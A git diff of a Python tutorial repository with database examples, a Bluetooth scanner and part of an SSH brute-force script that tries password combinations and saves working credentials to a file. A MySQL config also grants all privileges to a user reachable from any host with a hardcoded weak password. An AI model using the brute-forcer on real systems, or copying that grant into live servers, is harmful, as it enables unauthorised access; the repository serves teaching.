Python](https://www.thepythoncode.com/article/how-to-use-argparse-in-python). ([code](python-standard-library/argparse)) + - [How to Make a Grep Clone in Python](https://thepythoncode.com/article/how-to-make-grep-clone-in-python). ([code](python-standard-library/grep-clone)) + - [How to Validate Credit Card Numbers in Python](https://thepythoncode.com/article/credit-card-validation-in-python). ([code](python-standard-library/credit-card-validation)) + - [How to Build a TCP Proxy with Python](https://thepythoncode.com/article/building-a-tcp-proxy-with-python). ([code](python-standard-library/tcp-proxy)) - ### [Using APIs](https://www.thepythoncode.com/topic/using-apis-in-python) - [How to Automate your VPS or Dedicated Server Management in Python](https://www.thepythoncode.com/article/automate-veesp-server-management-in-python). ([code](general/automating-server-management)) - [How to Download Torrent Files in Python](https://www.thepythoncode.com/article/download-torrent-files-in-python). ([code](general/torrent-downloader)) - [How to Use Google Custom Search Engine API in Python](https://www.thepythoncode.com/article/use-google-custom-search-engine-api-in-python). ([code](general/using-custom-search-engine-api)) - [How to Use Github API in Python](https://www.thepythoncode.com/article/using-github-api-in-python). ([code](general/github-api)) + - [How to Use Google Drive API in Python](https://www.thepythoncode.com/article/using-google-drive--api-in-python). ([code](general/using-google-drive-api)) + - [How to Translate Text in Python](https://www.thepythoncode.com/article/translate-text-in-python). ([code](general/using-google-translate-api)) + - [How to Make a URL Shortener in Python](https://www.thepythoncode.com/article/make-url-shortener-in-python). ([code](general/url-shortener)) + - [How to Get Google Page Ranking in Python](https://www.thepythoncode.com/article/get-google-page-ranking-by-keyword-in-python). ([code](general/getting-google-page-ranking)) + - [How to Make a Telegram Bot in Python](https://www.thepythoncode.com/article/make-a-telegram-bot-in-python). ([code](general/telegram-bot)) + - [How to Use Gmail API in Python](https://www.thepythoncode.com/article/use-gmail-api-in-python). ([code](general/gmail-api)) + - [How to Use YouTube API in Python](https://www.thepythoncode.com/article/using-youtube-api-in-python). ([code](general/youtube-api)) + - [Webhooks in Python with Flask](https://www.thepythoncode.com/article/webhooks-in-python-with-flask). ([code](https://github.com/bassemmarji/Flask_Webhook)) + - [How to Make a Language Detector in Python](https://www.thepythoncode.com/article/language-detector-in-python). ([code](general/language-detector)) + - [How to Build a Twitter (X) Bot in Python](https://thepythoncode.com/article/make-a-twitter-bot-in-python). ([code](https://github.com/menard-codes/dog-fact-tweeter-bot)) + +- ### [Database](https://www.thepythoncode.com/topic/using-databases-in-python) + - [How to Use MySQL Database in Python](https://www.thepythoncode.com/article/using-mysql-database-in-python). ([code](database/mysql-connector)) + - [How to Connect to a Remote MySQL Database in Python](https://www.thepythoncode.com/article/connect-to-a-remote-mysql-server-in-python). ([code](database/connect-to-remote-mysql-server)) + - [How to Use MongoDB Database in Python](https://www.thepythoncode.com/article/introduction-to-mongodb-in-python). ([code](database/mongodb-client)) + +- ### [Handling PDF Files](https://www.thepythoncode.com/topic/handling-pdf-files) + - [How to Extract All PDF Links in Python](https://www.thepythoncode.com/article/extract-pdf-links-with-python). ([code](web-scraping/pdf-url-extractor)) + - [How to Extract PDF Tables in Python](https://www.thepythoncode.com/article/extract-pdf-tables-in-python-camelot). ([code](general/pdf-table-extractor)) + - [How to Extract Images from PDF in Python](https://www.thepythoncode.com/article/extract-pdf-images-in-python). ([code](web-scraping/pdf-image-extractor)) + - [How to Watermark PDF Files in Python](https://www.thepythoncode.com/article/watermark-in-pdf-using-python). ([code](general/add-watermark-pdf)) + - [Highlighting Text in PDF with Python](https://www.thepythoncode.com/article/redact-and-highlight-text-in-pdf-with-python). ([code](handling-pdf-files/highlight-redact-text)) + - [How to Extract Text from Images in PDF Files with Python](https://www.thepythoncode.com/article/extract-text-from-images-or-scanned-pdf-python). ([code](handling-pdf-files/pdf-ocr)) + - [How to Convert PDF to Docx in Python](https://www.thepythoncode.com/article/convert-pdf-files-to-docx-in-python). ([code](handling-pdf-files/convert-pdf-to-docx)) + - [How to Convert PDF to Images in Python](https://www.thepythoncode.com/article/convert-pdf-files-to-images-in-python). ([code](handling-pdf-files/convert-pdf-to-image)) + - [How to Compress PDF Files in Python](https://www.thepythoncode.com/article/compress-pdf-files-in-python). ([code](handling-pdf-files/pdf-compressor)) + - [How to Encrypt and Decrypt PDF Files in Python](https://www.thepythoncode.com/article/encrypt-pdf-files-in-python). ([code](handling-pdf-files/encrypt-pdf)) + - [How to Merge PDF Files in Python](https://www.thepythoncode.com/article/merge-pdf-files-in-python). ([code](handling-pdf-files/pdf-merger)) + - [How to Sign PDF Files in Python](https://www.thepythoncode.com/article/sign-pdf-files-in-python). ([code](handling-pdf-files/pdf-signer)) + - [How to Extract PDF Metadata in Python](https://www.thepythoncode.com/article/extract-pdf-metadata-in-python). ([code](handling-pdf-files/extract-pdf-metadata)) + - [How to Split PDF Files in Python](https://www.thepythoncode.com/article/split-pdf-files-in-python). ([code](handling-pdf-files/split-pdf)) + - [How to Extract Text from PDF in Python](https://www.thepythoncode.com/article/extract-text-from-pdf-in-python). ([code](handling-pdf-files/extract-text-from-pdf)) + - [How to Convert HTML to PDF in Python](https://www.thepythoncode.com/article/convert-html-to-pdf-in-python). ([code](handling-pdf-files/convert-html-to-pdf)) + - [How to Make a GUI PDF Viewer in Python](https://www.thepythoncode.com/article/make-pdf-viewer-with-tktinter-in-python). ([code](gui-programming/pdf-viewer)) + +- ### [Python for Multimedia](https://www.thepythoncode.com/topic/python-for-multimedia) + - [How to Make a Screen Recorder in Python](https://www.thepythoncode.com/article/make-screen-recorder-python). ([code](general/screen-recorder)) + - [How to Generate and Read QR Code in Python](https://www.thepythoncode.com/article/generate-read-qr-code-python). ([code](general/generating-reading-qrcode)) + - [How to Play and Record Audio in Python](https://www.thepythoncode.com/article/play-and-record-audio-sound-in-python). ([code](general/recording-and-playing-audio)) + - [How to Make a Barcode Reader in Python](https://www.thepythoncode.com/article/making-a-barcode-scanner-in-python). ([code](general/barcode-reader)) + - [How to Extract Audio from Video in Python](https://www.thepythoncode.com/article/extract-audio-from-video-in-python). ([code](general/video-to-audio-converter)) + - [How to Combine a Static Image with Audio in Python](https://www.thepythoncode.com/article/add-static-image-to-audio-in-python). ([code](python-for-multimedia/add-photo-to-audio)) + - [How to Concatenate Video Files in Python](https://www.thepythoncode.com/article/concatenate-video-files-in-python). ([code](python-for-multimedia/combine-video)) + - [How to Concatenate Audio Files in Python](https://www.thepythoncode.com/article/concatenate-audio-files-in-python). ([code](python-for-multimedia/combine-audio)) + - [How to Extract Frames from Video in Python](https://www.thepythoncode.com/article/extract-frames-from-videos-in-python). ([code](python-for-multimedia/extract-frames-from-video)) + - [How to Reverse Videos in Python](https://www.thepythoncode.com/article/reverse-video-in-python). ([code](python-for-multimedia/reverse-video)) + - [How to Extract Video Metadata in Python](https://www.thepythoncode.com/article/extract-media-metadata-in-python). ([code](python-for-multimedia/extract-video-metadata)) + - [How to Record a Specific Window in Python](https://www.thepythoncode.com/article/record-a-specific-window-in-python). ([code](python-for-multimedia/record-specific-window)) + - [How to Add Audio to Video in Python](https://www.thepythoncode.com/article/add-audio-to-video-in-python). ([code](python-for-multimedia/add-audio-to-video)) + - [How to Compress Images in Python](https://www.thepythoncode.com/article/compress-images-in-python). ([code](python-for-multimedia/compress-image)) + - [How to Remove Metadata from an Image in Python](https://thepythoncode.com/article/how-to-clear-image-metadata-in-python). ([code](python-for-multimedia/remove-metadata-from-images)) + - [How to Create Videos from Images in Python](https://thepythoncode.com/article/create-a-video-from-images-opencv-python). ([code](python-for-multimedia/create-video-from-images)) + - [How to Recover Deleted Files with Python](https://thepythoncode.com/article/how-to-recover-deleted-file-with-python). ([code](python-for-multimedia/recover-deleted-files)) + +- ### [Web Programming](https://www.thepythoncode.com/topic/web-programming) + - [Detecting Fraudulent Transactions in a Streaming Application using Kafka in Python](https://www.thepythoncode.com/article/detect-fraudulent-transactions-with-apache-kafka-in-python). ([code](general/detect-fraudulent-transactions)) + - [Asynchronous Tasks with Celery in Python](https://www.thepythoncode.com/article/async-tasks-with-celery-redis-and-flask-in-python). ([code](https://github.com/bassemmarji/flask_sync_async)) + - [How to Build a CRUD App with Flask and SQLAlchemy in Python](https://www.thepythoncode.com/article/building-crud-app-with-flask-and-sqlalchemy). ([code](web-programming/bookshop-crud-app-flask)) + - [How to Build an English Dictionary App with Django in Python](https://www.thepythoncode.com/article/build-dictionary-app-with-django-and-pydictionary-api-python). ([code](web-programming/djangodictionary)) + - [How to Build a CRUD Application using Django in Python](https://www.thepythoncode.com/article/build-bookstore-app-with-django-backend-python). ([code](web-programming/bookshop-crud-app-django)) + - [How to Build a Weather App using Django in Python](https://www.thepythoncode.com/article/weather-app-django-openweather-api-using-python). ([code](web-programming/django-weather-app)) + - [How to Build an Authentication System in Django](https://www.thepythoncode.com/article/authentication-system-in-django-python). ([code](web-programming/django-authentication)) + - [How to Make a Blog using Django in Python](https://www.thepythoncode.com/article/create-a-blog-using-django-in-python). ([code](https://github.com/chepkiruidorothy/simple-blog-site)) + - [How to Make a Todo App using Django in Python](https://www.thepythoncode.com/article/build-a-todo-app-with-django-in-python). ([code](https://github.com/chepkiruidorothy/todo-app-simple/tree/master)) + - [How to Build an Email Address Verifier App using Django in Python](https://www.thepythoncode.com/article/build-an-email-verifier-app-using-django-in-python). ([code](web-programming/webbased-emailverifier)) + - [How to Build a Web Assistant Using Django and OpenAI GPT-3.5 API in Python](https://www.thepythoncode.com/article/web-assistant-django-with-gpt3-api-python). ([code](web-programming/webassistant)) + - [How to Make an Accounting App with Django in Python](https://www.thepythoncode.com/article/make-an-accounting-app-with-django-in-python). ([code](web-programming/accounting-app)) + - [How to Build a News Site API with Django Rest Framework in Python](https://www.thepythoncode.com/article/a-news-site-api-with-django-python). ([code](web-programming/news_project)) + - [How to Create a RESTful API with Flask in Python](https://www.thepythoncode.com/article/create-a-restful-api-with-flask-in-python). ([code](web-programming/restful-api-flask)) + - [How to Build a GraphQL API in Python](https://www.thepythoncode.com/article/build-a-graphql-api-with-fastapi-strawberry-and-postgres-python). ([code](https://github.com/menard-codes/PythonGQLArticle)) + - [How to Build a Chat App using Flask in Python](https://thepythoncode.com/article/how-to-build-a-chat-app-in-python-using-flask-and-flasksocketio). ([code](https://github.com/menard-codes/FlaskChatApp)) + - [How to Build a Full-Stack Web App in Python using FastAPI and React.js](https://thepythoncode.com/article/fullstack-notes-app-with-fastapi-and-reactjs) ([Backend](https://github.com/menard-codes/NotesAppBackend-FastAPI-React), [Frontend](https://github.com/menard-codes/NotesAppFrontend-FastAPI-React)) + +- ### [GUI Programming](https://www.thepythoncode.com/topic/gui-programming) + - [How to Make a Text Editor using Tkinter in Python](https://www.thepythoncode.com/article/text-editor-using-tkinter-python). ([code](gui-programming/text-editor)) + - [How to Make a Button using PyGame in Python](https://www.thepythoncode.com/article/make-a-button-using-pygame-in-python). ([code](gui-programming/button-in-pygame)) + - [How to Make a File Explorer using Tkinter in Python](https://www.thepythoncode.com/article/create-a-simple-file-explorer-using-tkinter-in-python). ([code](gui-programming/file-explorer)) + - [How to Make a Calculator with Tkinter in Python](https://www.thepythoncode.com/article/make-a-calculator-app-using-tkinter-in-python). ([code](gui-programming/calculator-app)) + - [How to Make a Typing Speed Tester with Tkinter in Python](https://www.thepythoncode.com/article/how-to-make-typing-speed-tester-in-python-using-tkinter). ([code](gui-programming/type-speed-tester)) + - [How to Make a Markdown Editor using Tkinter in Python](https://www.thepythoncode.com/article/markdown-editor-with-tkinter-in-python). ([code](gui-programming/markdown-editor)) + - [How to Build a GUI Currency Converter using Tkinter in Python](https://www.thepythoncode.com/article/currency-converter-gui-using-tkinter-python). ([code](gui-programming/currency-converter-gui/)) + - [How to Detect Gender by Name using Python](https://www.thepythoncode.com/article/gender-predictor-gui-app-tkinter-genderize-api-python). ([code](gui-programming/genderize-app)) + - [How to Build a Spreadsheet App with Tkinter in Python](https://www.thepythoncode.com/article/spreadsheet-app-using-tkinter-in-python). ([code](gui-programming/spreadsheet-app)) + - [How to Make a Rich Text Editor with Tkinter in Python](https://www.thepythoncode.com/article/create-rich-text-editor-with-tkinter-python). ([code](gui-programming/rich-text-editor)) + - [How to Make a Python Code Editor using Tkinter in Python](https://www.thepythoncode.com/article/python-code-editor-using-tkinter-python). ([code](gui-programming/python-code-editor/)) + - [How to Make an Age Calculator in Python](https://www.thepythoncode.com/article/age-calculator-using-tkinter-python). ([code](gui-programming/age-calculator)) + - [How to Create an Alarm Clock App using Tkinter in Python](https://www.thepythoncode.com/article/build-an-alarm-clock-app-using-tkinter-python). ([code](gui-programming/alarm-clock-app)) + - [How to Build a GUI Voice Recorder App in Python](https://www.thepythoncode.com/article/make-a-gui-voice-recorder-python). ([code](gui-programming/voice-recorder-app)) + - [How to Build a GUI QR Code Generator and Detector Using Python](https://www.thepythoncode.com/article/make-a-qr-code-generator-and-reader-tkinter-python). ([code](gui-programming/qrcode-generator-reader-gui)) + - [How to Build a GUI Dictionary App with Tkinter in Python](https://www.thepythoncode.com/article/make-a-gui-audio-dictionary-python). ([code](gui-programming/word-dictionary-with-audio)) + - [How to Make a Real-Time GUI Spelling Checker in Python](https://www.thepythoncode.com/article/make-a-realtime-spelling-checker-gui-python). ([code](gui-programming/realtime-spelling-checker)) + - [How to Build a GUI Language Translator App in Python](https://www.thepythoncode.com/article/build-a-gui-language-translator-tkinter-python). ([code](gui-programming/gui-language-translator)) + - [How to Make an Image Editor in Python](https://www.thepythoncode.com/article/make-an-image-editor-in-tkinter-python). ([code](gui-programming/image-editor)) + - [How to Build a CRUD App with PyQt5 and SQLite3 in Python](https://thepythoncode.com/article/build-a-crud-app-using-pyqt5-and-sqlite3-in-python). ([code](gui-programming/crud-app-pyqt5)) + +- ### [Game Development](https://www.thepythoncode.com/topic/game-development) + - [How to Make a Button using PyGame in Python](https://www.thepythoncode.com/article/make-a-button-using-pygame-in-python). ([code](gui-programming/button-in-pygame)) + - [How to Make a Drawing Program in Python](https://www.thepythoncode.com/article/make-a-drawing-program-with-python). ([code](gui-programming/drawing-tool-in-pygame)) + - [How to Make a Planet Simulator with PyGame in Python](https://www.thepythoncode.com/article/make-a-planet-simulator-using-pygame-in-python). ([code](gui-programming/planet-simulator)) + - [How to Make a Chess Game with Pygame in Python](https://www.thepythoncode.com/article/make-a-chess-game-using-pygame-in-python). ([code](gui-programming/chess-game)) + - [How to Create a GUI Hangman Game using PyGame in Python](https://www.thepythoncode.com/article/hangman-gui-game-with-pygame-in-python). ([code](gui-programming/hangman-game-gui)) + - [How to Make a Hangman Game in Python](https://www.thepythoncode.com/article/make-a-hangman-game-in-python). ([code](python-standard-library/hangman-game)) + - [How to Make a Text Adventure Game in Python](https://www.thepythoncode.com/article/make-a-text-adventure-game-with-python). ([code](general/text-adventure-game)) + - [How to Make a Tetris Game using PyGame in Python](https://www.thepythoncode.com/article/create-a-tetris-game-with-pygame-in-python). ([code](gui-programming/tetris-game)) + - [How to Build a Tic Tac Toe Game in Python](https://www.thepythoncode.com/article/make-a-tic-tac-toe-game-pygame-in-python). ([code](gui-programming/tictactoe-game)) + - [How to Make a Checkers Game with Pygame in Python](https://www.thepythoncode.com/article/make-a-checkers-game-with-pygame-in-python). ([code](gui-programming/checkers-game)) + - [How to Make a Snake Game in Python](https://www.thepythoncode.com/article/make-a-snake-game-with-pygame-in-python). ([code](gui-programming/snake-game)) + - [How to Create a Slide Puzzle Game in Python](https://www.thepythoncode.com/article/slide-puzzle-game-in-python). ([code](gui-programming/slide-puzzle)) + - [How to Make a Maze Game in Python](https://www.thepythoncode.com/article/build-a-maze-game-in-python). ([code](gui-programming/maze-game)) + - [How to Create a Platformer Game in Python](https://www.thepythoncode.com/article/platformer-game-with-pygame-in-python). ([code](gui-programming/platformer-game)) + - [How to Make a Flappy Bird Game in Python](https://thepythoncode.com/article/make-a-flappy-bird-game-python). ([code](gui-programming/flappy-bird-game)) + - [How to Create a Pong Game in Python](https://thepythoncode.com/article/build-a-pong-game-in-python). ([code](gui-programming/pong-game)) + - [How to Create a Space Invaders Game in Python](https://thepythoncode.com/article/make-a-space-invader-game-in-python). ([code](gui-programming/space-invaders-game)) + - [How to Build a Sudoku Game with Python](https://thepythoncode.com/article/make-a-sudoku-game-in-python). ([code](gui-programming/sudoku-game)) + - [How to Make a Pacman Game with Python](https://thepythoncode.com/article/creating-pacman-game-with-python). ([code](gui-programming/pacman-game)) + - [How to Add Sound Effects to your Python Game](https://thepythoncode.com/article/add-sound-effects-to-python-game-with-pygame). ([code](gui-programming/adding-sound-effects-to-games)) + - [How to Build a Breakout Game with PyGame in Python](https://thepythoncode.com/article/breakout-game-pygame-in-python). ([code](https://github.com/Omotunde2005/Breakout_with_pygame)) + For any feedback, please consider pulling requests. diff --git a/database/connect-to-remote-mysql-server/README.md b/database/connect-to-remote-mysql-server/README.md new file mode 100644 index 00000000..39145a9f --- /dev/null +++ b/database/connect-to-remote-mysql-server/README.md @@ -0,0 +1 @@ +# [How to Connect to a Remote MySQL Database in Python](https://www.thepythoncode.com/article/connect-to-a-remote-mysql-server-in-python) \ No newline at end of file diff --git a/database/connect-to-remote-mysql-server/config.sql b/database/connect-to-remote-mysql-server/config.sql new file mode 100644 index 00000000..2bcedffb --- /dev/null +++ b/database/connect-to-remote-mysql-server/config.sql @@ -0,0 +1,5 @@ +/* '%' means from any where in the world*/ +CREATE USER 'python-user'@'%' IDENTIFIED BY 'Password1$'; +/* grant all privileges to the user on all databases & tables available in the server */ +GRANT ALL ON *.* TO 'python-user'@'%'; +FLUSH PRIVILEGES; \ No newline at end of file diff --git a/database/connect-to-remote-mysql-server/remote_mysql_connector.py b/database/connect-to-remote-mysql-server/remote_mysql_connector.py new file mode 100644 index 00000000..98068286 --- /dev/null +++ b/database/connect-to-remote-mysql-server/remote_mysql_connector.py @@ -0,0 +1,15 @@ +import mysql.connector as mysql + +# enter your server IP address/domain name +HOST = "x.x.x.x" # or "domain.com" +# database name, if you want just to connect to MySQL server, leave it empty +DATABASE = "database" +# this is the user you create +USER = "python-user" +# user password +PASSWORD = "Password1$" +# connect to MySQL server +db_connection = mysql.connect(host=HOST, database=DATABASE, user=USER, password=PASSWORD) +print("Connected to:", db_connection.get_server_info()) + +# enter your code here! \ No newline at end of file diff --git a/database/connect-to-remote-mysql-server/requirements.txt b/database/connect-to-remote-mysql-server/requirements.txt new file mode 100644 index 00000000..5bb5574a --- /dev/null +++ b/database/connect-to-remote-mysql-server/requirements.txt @@ -0,0 +1 @@ +mysql-connector-python \ No newline at end of file diff --git a/database/mongodb-client/README.md b/database/mongodb-client/README.md new file mode 100644 index 00000000..de7c4286 --- /dev/null +++ b/database/mongodb-client/README.md @@ -0,0 +1 @@ +# [How to Use MongoDB Database in Python](https://www.thepythoncode.com/article/introduction-to-mongodb-in-python) \ No newline at end of file diff --git a/database/mongodb-client/mongodb.py b/database/mongodb-client/mongodb.py new file mode 100644 index 00000000..3adf01c9 --- /dev/null +++ b/database/mongodb-client/mongodb.py @@ -0,0 +1,86 @@ +from pymongo import MongoClient +from pprint import pprint + +# connect to the MongoDB server +client = MongoClient() +# or explicitly +# client = MongoClient("localhost", 27017) +# list all database names +print("Available databases:", client.list_database_names()) +# access the database "python", this will create the actual database +# if it doesn't exist +database = client["python"] +# or this: +# database = client.python +# list all collections +print("Available collections:", database.list_collection_names()) +# get books collection (or create one) +books = database["books"] +# insert a single book +result = books.insert_one({ + "name": "Invent Your Own Computer Games with Python, 4E", + "author": "Al Sweigart", + "price": 17.99, + "url": "https://amzn.to/2zxN2W2" +}) + +print("One book inserted:", result.inserted_id) + + +# insert many books +books_data = [ + { + "name": "Automate the Boring Stuff with Python: Practical Programming for Total Beginners", + "author": "Al Sweigart", + "price": 17.76, + "url": "https://amzn.to/2YAncdY" + }, + { + "name": "Python Crash Course: A Hands-On, Project-Based Introduction to Programming", + "author": "Eric Matthes", + "price": 22.97, + "url": "https://amzn.to/2yQfQZl" + }, + { + "name": "MySQL for Python", + "author": "Albert Lukaszewski", + "price": 49.99, + } +] + +result = books.insert_many(books_data) +print("Many books inserted, Ids:", result.inserted_ids) + +# get a single book by a specific author +eric_book = books.find_one({"author": "Eric Matthes"}) +pprint(eric_book) + +# get all books by a specific author +sweigart_books = books.find({"author": "Al Sweigart"}) +print("Al Sweigart's books:") +pprint(list(sweigart_books)) + +# get all documents in books collection +all_books = books.find({}) +print("All books:") +pprint(list(all_books)) + +# delete a specific document by a JSON query +result = books.delete_one({"author": "Albert Lukaszewski"}) + +# delete all books by Al Sweigart +result = books.delete_many({"author": "Al Sweigart"}) + +# printing all documents +all_books = books.find({}) +print("All books:") +pprint(list(all_books)) + +# drop this collection +database.drop_collection("books") +# or this: +# books.drop() +# drop this entire database +client.drop_database("python") +# close the connection +client.close() \ No newline at end of file diff --git a/database/mongodb-client/requirements.txt b/database/mongodb-client/requirements.txt new file mode 100644 index 00000000..8c7d698b --- /dev/null +++ b/database/mongodb-client/requirements.txt @@ -0,0 +1 @@ +pymongo \ No newline at end of file diff --git a/database/mysql-connector/README.md b/database/mysql-connector/README.md new file mode 100644 index 00000000..c4c714ea --- /dev/null +++ b/database/mysql-connector/README.md @@ -0,0 +1,3 @@ +# [How to Use MySQL Database in Python](https://www.thepythoncode.com/article/using-mysql-database-in-python) +To run this: +- `pip3 install -r requirements.txt` \ No newline at end of file diff --git a/database/mysql-connector/requirements.txt b/database/mysql-connector/requirements.txt new file mode 100644 index 00000000..7c8756c2 --- /dev/null +++ b/database/mysql-connector/requirements.txt @@ -0,0 +1,2 @@ +mysql-connector-python +tabulate \ No newline at end of file diff --git a/database/mysql-connector/using-mysql-connector.py b/database/mysql-connector/using-mysql-connector.py new file mode 100644 index 00000000..7c699a67 --- /dev/null +++ b/database/mysql-connector/using-mysql-connector.py @@ -0,0 +1,83 @@ +import mysql.connector as mysql +from tabulate import tabulate + +# insert MySQL Database information here +HOST = "localhost" +DATABASE = "" +USER = "root" +PASSWORD = "" + +# connect to the database +db_connection = mysql.connect(host=HOST, database=DATABASE, user=USER, password=PASSWORD) +# get server information +print(db_connection.get_server_info()) +# get the db cursor +cursor = db_connection.cursor() +# get database information +cursor.execute("select database();") +database_name = cursor.fetchone() +print("[+] You are connected to the database:", database_name) +# create a new database called library +cursor.execute("create database if not exists library") + +# use that database +cursor.execute("use library") +print("[+] Changed to `library` database") +# create a table +cursor.execute("""create table if not exists book ( + `id` integer primary key auto_increment not null, + `name` varchar(255) not null, + `author` varchar(255) not null, + `price` float not null, + `url` varchar(255) + )""") +print("[+] Table `book` created") + +# insert some books +books = [ + { + "name": "Automate the Boring Stuff with Python: Practical Programming for Total Beginners", + "author": "Al Sweigart", + "price": 17.76, + "url": "https://amzn.to/2YAncdY" + }, + { + "name": "Python Crash Course: A Hands-On, Project-Based Introduction to Programming", + "author": "Eric Matthes", + "price": 22.97, + "url": "https://amzn.to/2yQfQZl" + }, + { + "name": "MySQL for Python", + "author": "Albert Lukaszewski", + "price": 49.99, + } +] + +# iterate over books list +for book in books: + id = book.get("id") + name = book.get("name") + author = book.get("author") + price = book.get("price") + url = book.get("url") + # insert each book as a row in MySQL + cursor.execute("""insert into book (id, name, author, price, url) values ( + %s, %s, %s, %s, %s + ) + """, params=(id, name, author, price, url)) + print(f"[+] Inserted the book: {name}") + +# commit insertion +db_connection.commit() + +# fetch the database +cursor.execute("select * from book") +# get all selected rows +rows = cursor.fetchall() +# print all rows in a tabular format +print(tabulate(rows, headers=cursor.column_names)) +# close the cursor +cursor.close() +# close the DB connection +db_connection.close() \ No newline at end of file diff --git a/ethical-hacking/bluetooth-scanner/README.md b/ethical-hacking/bluetooth-scanner/README.md new file mode 100644 index 00000000..c8b19deb --- /dev/null +++ b/ethical-hacking/bluetooth-scanner/README.md @@ -0,0 +1 @@ +# [Bluetooth Device Scanning in Python](https://thepythoncode.com/article/build-a-bluetooth-scanner-in-python) \ No newline at end of file diff --git a/ethical-hacking/bluetooth-scanner/bluetooth_scanner.py b/ethical-hacking/bluetooth-scanner/bluetooth_scanner.py new file mode 100644 index 00000000..2945c767 --- /dev/null +++ b/ethical-hacking/bluetooth-scanner/bluetooth_scanner.py @@ -0,0 +1,85 @@ +import bluetooth + +# Major and Minor Device Class definitions based on Bluetooth specifications +MAJOR_CLASSES = { + 0: "Miscellaneous", + 1: "Computer", + 2: "Phone", + 3: "LAN/Network Access", + 4: "Audio/Video", + 5: "Peripheral", + 6: "Imaging", + 7: "Wearable", + 8: "Toy", + 9: "Health", + 10: "Uncategorized" +} + +MINOR_CLASSES = { + # Computer Major Class + (1, 0): "Uncategorized Computer", (1, 1): "Desktop Workstation", + (1, 2): "Server-class Computer", (1, 3): "Laptop", (1, 4): "Handheld PC/PDA", + (1, 5): "Palm-sized PC/PDA", (1, 6): "Wearable computer", + # Phone Major Class + (2, 0): "Uncategorized Phone", (2, 1): "Cellular", (2, 2): "Cordless", + (2, 3): "Smartphone", (2, 4): "Wired modem or voice gateway", + (2, 5): "Common ISDN Access", + # LAN/Network Access Major Class + (3, 0): "Fully available", (3, 1): "1% to 17% utilized", + (3, 2): "17% to 33% utilized", (3, 3): "33% to 50% utilized", + (3, 4): "50% to 67% utilized", (3, 5): "67% to 83% utilized", + (3, 6): "83% to 99% utilized", (3, 7): "No service available", + # Audio/Video Major Class + (4, 0): "Uncategorized A/V", (4, 1): "Wearable Headset", (4, 2): "Hands-free Device", + (4, 3): "Microphone", (4, 4): "Loudspeaker", (4, 5): "Headphones", (4, 6): "Portable Audio", + (4, 7): "Car audio", (4, 8): "Set-top box", (4, 9): "HiFi Audio Device", + (4, 10): "VCR", (4, 11): "Video Camera", (4, 12): "Camcorder", + (4, 13): "Video Monitor", (4, 14): "Video Display and Loudspeaker", + (4, 15): "Video Conferencing", (4, 16): "Gaming/Toy", + # Peripheral Major Class + (5, 0): "Not Keyboard/Not Pointing Device", (5, 1): "Keyboard", + (5, 2): "Pointing device", (5, 3): "Combo Keyboard/Pointing device", + # Imaging Major Class + (6, 0): "Display", (6, 1): "Camera", (6, 2): "Scanner", (6, 3): "Printer", + # Wearable Major Class + (7, 0): "Wristwatch", (7, 1): "Pager", (7, 2): "Jacket", + (7, 3): "Helmet", (7, 4): "Glasses", + # Toy Major Class + (8, 0): "Robot", (8, 1): "Vehicle", + (8, 2): "Doll / Action figure", + (8, 3): "Controller", (8, 4): "Game", + # Health Major Class + (9, 0): "Undefined", (9, 1): "Blood Pressure Monitor", + (9, 2): "Thermometer", (9, 3): "Weighing Scale", + (9, 4): "Glucose Meter", (9, 5): "Pulse Oximeter", + (9, 6): "Heart/Pulse Rate Monitor", (9, 7): "Health Data Display", + (9, 8): "Step Counter", (9, 9): "Body Composition Analyzer", + (9, 10): "Peak Flow Monitor", (9, 11): "Medication Monitor", + (9, 12): "Knee Prosthesis", (9, 13): "Ankle Prosthesis", + # More specific definitions can be added if needed +} + +def parse_device_class(device_class): + major = (device_class >> 8) & 0x1F # divide by 2**8 and mask with 0x1F (take the last 5 bits) + minor = (device_class >> 2) & 0x3F # divide by 2**2 and mask with 0x3F (take the last 6 bits) + major_class_name = MAJOR_CLASSES.get(major, "Unknown Major Class") + minor_class_key = (major, minor) + minor_class_name = MINOR_CLASSES.get(minor_class_key, "Unknown Minor Class") + return major_class_name, minor_class_name + + +def scan_bluetooth_devices(): + try: + discovered_devices = bluetooth.discover_devices(duration=8, lookup_names=True, lookup_class=True) + print('[!] Scanning for Bluetooth devices...') + print(f"[!] Found {len(discovered_devices)} Devices") + for addr, name, device_class in discovered_devices: + major_class, minor_class = parse_device_class(device_class) + print(f"[+] Device Name: {name}") + print(f" Address: {addr}") + print(f" Device Class: {device_class} ({major_class}, {minor_class})") + except Exception as e: + print(f"[ERROR] An error occurred: {e}") + +if __name__ == "__main__": + scan_bluetooth_devices() diff --git a/ethical-hacking/bluetooth-scanner/requirements.txt b/ethical-hacking/bluetooth-scanner/requirements.txt new file mode 100644 index 00000000..0c35f5ce --- /dev/null +++ b/ethical-hacking/bluetooth-scanner/requirements.txt @@ -0,0 +1 @@ +pybluez2 \ No newline at end of file diff --git a/ethical-hacking/bruteforce-ssh/bruteforce_ssh.py b/ethical-hacking/bruteforce-ssh/bruteforce_ssh.py index be7ade8a..4246453a 100644 --- a/ethical-hacking/bruteforce-ssh/bruteforce_ssh.py +++ b/ethical-hacking/bruteforce-ssh/bruteforce_ssh.py @@ -22,19 +22,22 @@ def is_ssh_open(hostname, username, password): except socket.timeout: # this is when host is unreachable print(f"{RED}[!] Host: {hostname} is unreachable, timed out.{RESET}") - return False + returning = False except paramiko.AuthenticationException: print(f"[!] Invalid credentials for {username}:{password}") - return False + returning = False except paramiko.SSHException: print(f"{BLUE}[*] Quota exceeded, retrying with delay...{RESET}") # sleep for a minute time.sleep(60) - return is_ssh_open(hostname, username, password) + returning = is_ssh_open(hostname, username, password) else: # connection was established successfully print(f"{GREEN}[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password}{RESET}") - return True + returning = True + finally: + client.close() + return returning if __name__ == "__main__": @@ -56,4 +59,4 @@ def is_ssh_open(hostname, username, password): if is_ssh_open(host, user, password): # if combo is valid, save it to a file open("credentials.txt", "w").write(f"{user}@{host}:{password}") - break \ No newline at end of file + break diff --git a/ethical-hacking/bruteforce-wordlist-generator/README.md b/ethical-hacking/bruteforce-wordlist-generator/README.md new file mode 100644 index 00000000..7a2e8b50 --- /dev/null +++ b/ethical-hacking/bruteforce-wordlist-generator/README.md @@ -0,0 +1 @@ +# [How to Create a Custom Wordlist in Python](https://thepythoncode.com/article/make-a-wordlist-generator-in-python) \ No newline at end of file diff --git a/ethical-hacking/bruteforce-wordlist-generator/wordlist_gen.py b/ethical-hacking/bruteforce-wordlist-generator/wordlist_gen.py new file mode 100644 index 00000000..13f2b1f7 --- /dev/null +++ 